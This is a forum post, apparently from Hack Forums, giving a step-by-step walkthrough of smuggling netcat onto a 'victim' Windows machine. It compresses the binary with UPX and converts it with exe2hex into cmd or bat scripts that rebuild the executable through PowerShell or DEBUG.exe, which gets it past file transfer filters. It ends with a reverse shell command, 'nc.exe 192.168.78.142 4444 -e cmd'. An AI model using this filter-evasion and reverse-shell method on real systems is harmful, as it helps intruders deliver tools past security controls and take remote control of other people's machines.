

Forum:[Hack Forums](#)

Thread: [\(Exe2Hex\) File Transfer Filter Bypass \(Basic use\)](#)

B3A - April 22, 2023, 7:34 am

Intro : EXE2HEX transcribes EXE into a series of hexadecimal strings which can be restored into the original EXE file by using DEBUG.exe or Powershell. This script can then be executed at the victim machine to construct an exe again and execute it.

DEBUG.exe is a by default available executable in Windows that helps a user troubleshoot programs. It also has a feature where it can restore a series of hexadecimal strings into an executable file. The same can be achieved by Powershell. The methodology is very simple:

- Choose an EXE
- Compress it using UPX
- Use exe2hex to convert it into a file containing hexadecimal strings
- Transfer the file to the victim system
- Restore the file back to exe and execute

Start by compressing an exe file. You can use UPX.

-9 filter which provides 50% compression usually

```
Code upx -h
cp /usr/share/windows-resources/binaries/nc.exe .
ls -lah nc.exe
upx -9 nc.exe
ls -lah nc.exe
```

Now use exe2hex to convert it into a cmd file. This cmd file has multiple hexadecimal strings as you can see below. A parameter P has been created which appends these converted hex strings into a temporary file called "nc.hex"

```
Code exe2hex -x nc.exe -p nc.cmd
head nc.cmd
```

The same script can also be URL encoded with the -e option

```
Code exe2hex -x nc.exe -e -p nc.cmd
head -n 5 nc.cmd
```

Now you can transfer this CMD file to the victim system and execute it using the command prompt. As you may observe after the execution has finished, a nc.exe file is generated at the compressed size.

```
Code @echo off
nc.cmd
nc.exe 192.168.78.142 4444 -e cmd
```

In the same way, DEBUG.exe file can be used. Exe2hex can generate a bat file

Code `exe2hex -x nc.exe -b nc.bat`

`head -n 5 nc.bat`

`tail -n 7 nc.bat`

run the bat script on windows and it will create an exe file. If it throws you an error, you need to add DEBUG.exe's path in environment variables.